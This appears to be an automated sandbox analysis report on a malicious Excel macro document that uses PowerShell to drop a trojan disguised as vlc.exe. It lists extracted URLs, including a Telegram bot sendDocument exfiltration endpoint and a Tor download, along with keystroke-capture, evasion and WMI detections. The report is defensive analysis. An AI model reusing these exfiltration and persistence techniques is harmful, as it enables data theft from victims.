Source: raqfxwuo.exe, 00000014.00000002.926985798.0000000002D71000.00000004.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://augloop.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cdn.entity.
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: powershell.exe, 0000000F.00000002.874182432.000001DF90661000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.874182432.000001DF90661000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.874182432.000001DF90661000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cortana.ai
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://cr.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://directory.services.
Source: vlc.exe.18.dr	String found in binary or memory: https://discord.com/
Source: powershell.exe, 0000000E.00000002.860161665.000001FCBEC42000.00000004.00000001.sdmp, raqfxwuo.exe, 00000012.00000000.849362864.0000000000E42000.00000002.00020000.sdmp, raqfxwuo.exe, 00000013.00000000.851665329.0000000000422000.00000002.00020000.sdmp, raqfxwuo.exe, 00000014.00000002.924444029.00000000008A2000.00000002.00020000.sdmp, raqfxwuo.exe, 00000015.00000000.890163942.0000000000A92000.00000002.00020000.sdmp, vlc.exe, 00000017.00000000.903337916.0000000000B82000.00000002.00020000.sdmp, vlc.exe, 00000019.00000000.920919019.0000000000392000.00000002.00020000.sdmp, vlc.exe.18.dr	String found in binary or memory: https://discord.com/4
Source: powershell.exe, 0000000E.00000002.860161665.000001FCBEC42000.00000004.00000001.sdmp, raqfxwuo.exe, 00000012.00000000.849362864.0000000000E42000.00000002.00020000.sdmp, raqfxwuo.exe, 00000013.00000000.851665329.0000000000422000.00000002.00020000.sdmp, raqfxwuo.exe, 00000014.00000002.924444029.00000000008A2000.00000002.00020000.sdmp, raqfxwuo.exe, 00000015.00000000.890163942.0000000000A92000.00000002.00020000.sdmp, vlc.exe, 00000017.00000000.903337916.0000000000B82000.00000002.00020000.sdmp, vlc.exe, 00000019.00000000.920919019.0000000000392000.00000002.00020000.sdmp, vlc.exe.18.dr	String found in binary or memory: https://discord.com/8
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: powershell.exe, 0000000F.00000002.860086707.000001DF80811000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: powershell.exe, 0000000E.00000002.869915692.000001FCBFB97000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000F.00000003.852668699.000001DF986A3000.00000004.00000001.sdmp	String found in binary or memory: https://go.microsoft.co
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://graph.windows.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://login.windows.local
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://management.azure.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://management.azure.com/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: powershell.exe, 0000000E.00000002.858258052.000001FCBE901000.00000004.00000001.sdmp, powershell.exe, 0000000F.00000002.874182432.000001DF90661000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://outlook.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://tasks.office.com
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 7693F8CE-927A-4BC0-84CE-1390C3757E21.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: raqfxwuo.exe, 00000012.00000002.899909340.0000000004351000.00000004.00000001.sdmp, raqfxwuo.exe, 00000013.00000002.899832989.00000000028A8000.00000004.00000001.sdmp, raqfxwuo.exe, 00000014.00000002.924181667.0000000000402000.00000040.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.924149098.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: raqfxwuo.exe, 00000014.00000002.926985798.0000000002D71000.00000004.00000001.sdmp, raqfxwuo.exe, 00000015.00000002.926541973.0000000002EB1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a DirectInput object (often for capturing keystrokes)

Source: raqfxwuo.exe, 00000012.00000002.894191765.000000000168B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4

Screenshot OCR: Enable Content : 5 6 ,- m. 8 9 10 ,,- ' " = 12 " " 13 14 - 15" :: ' ' ~ 18 19 20 I!

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\raqfxwuo.exe

Jump to dropped file

Detected potential crypto function

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFA37F60C70	14_2_00007FFA37F60C70
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFA37F60DAA	14_2_00007FFA37F60DAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFA37F61BAA	14_2_00007FFA37F61BAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFA37F61BAA	15_2_00007FFA37F61BAA
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_014DC284	18_2_014DC284
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_014DE640	18_2_014DE640
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_014DE650	18_2_014DE650
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_0793C398	18_2_0793C398
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_0793BAC8	18_2_0793BAC8
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_0793B780	18_2_0793B780
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_07CC4F10	18_2_07CC4F10
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_07CC4887	18_2_07CC4887
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_07CC4898	18_2_07CC4898
Source: C:\Users\Public\raqfxwuo.exe	Code function: 18_2_07CC4851	18_2_07CC4851
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_00C1C284	19_2_00C1C284
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_00C1E640	19_2_00C1E640
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_00C1E650	19_2_00C1E650
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FDC398	19_2_06FDC398
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FDBAC8	19_2_06FDBAC8
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_06FDB780	19_2_06FDB780
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073A4F10	19_2_073A4F10
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073A4F00	19_2_073A4F00
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073A4851	19_2_073A4851
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073A4898	19_2_073A4898
Source: C:\Users\Public\raqfxwuo.exe	Code function: 19_2_073A4887	19_2_073A4887
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_01144800	20_2_01144800
Source: C:\Users\Public\raqfxwuo.exe	Code function: 20_2_011447F3	20_2_011447F3
Source: C:\Users\Public\raqfxwuo.exe	Code function: 21_2_013B4800	21_2_013B4800
Source: C:\Users\Public\raqfxwuo.exe	Code function: 21_2_013B4710	21_2_013B4710
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Code function: 25_2_026AC284	25_2_026AC284
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Code function: 25_2_026AE640	25_2_026AE640
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Code function: 25_2_026AE650	25_2_026AE650

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: TcLt4.xls

OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Document contains embedded VBA macros

Source: TcLt4.xls

OLE indicator, VBA macros: true

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\Users\Public\raqfxwuo.exe 8EF317F2278FBE6A533E8F78B932698E986280D2F4A6716AAAAA4DC5692222A8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe 8EF317F2278FBE6A533E8F78B932698E986280D2F4A6716AAAAA4DC5692222A8

PE file contains strange resources

Source: raqfxwuo.exe.14.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: raqfxwuo.exe.14.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: raqfxwuo.exe.14.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vlc.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vlc.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vlc.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Yara signature match

Source: TcLt4.xls, type: SAMPLE

Matched rule: PowerShell_in_Word_Doc date = 2017-06-27, author = Florian Roth, description = Detects a powershell and bypass keyword in a Word document, reference = Internal Research - ME, license = https://creativecommons.org/licenses/by-nc/4.0/, score = 4fd4a7b5ef5443e939015276fc4bf8ffa6cf682dd95845ef10fdf8158fdd8905

Source: raqfxwuo.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vlc.exe.18.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winXLS@17/13@2/2

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1548:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\Public\raqfxwuo.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\Public\raqfxwuo.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\Public\raqfxwuo.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
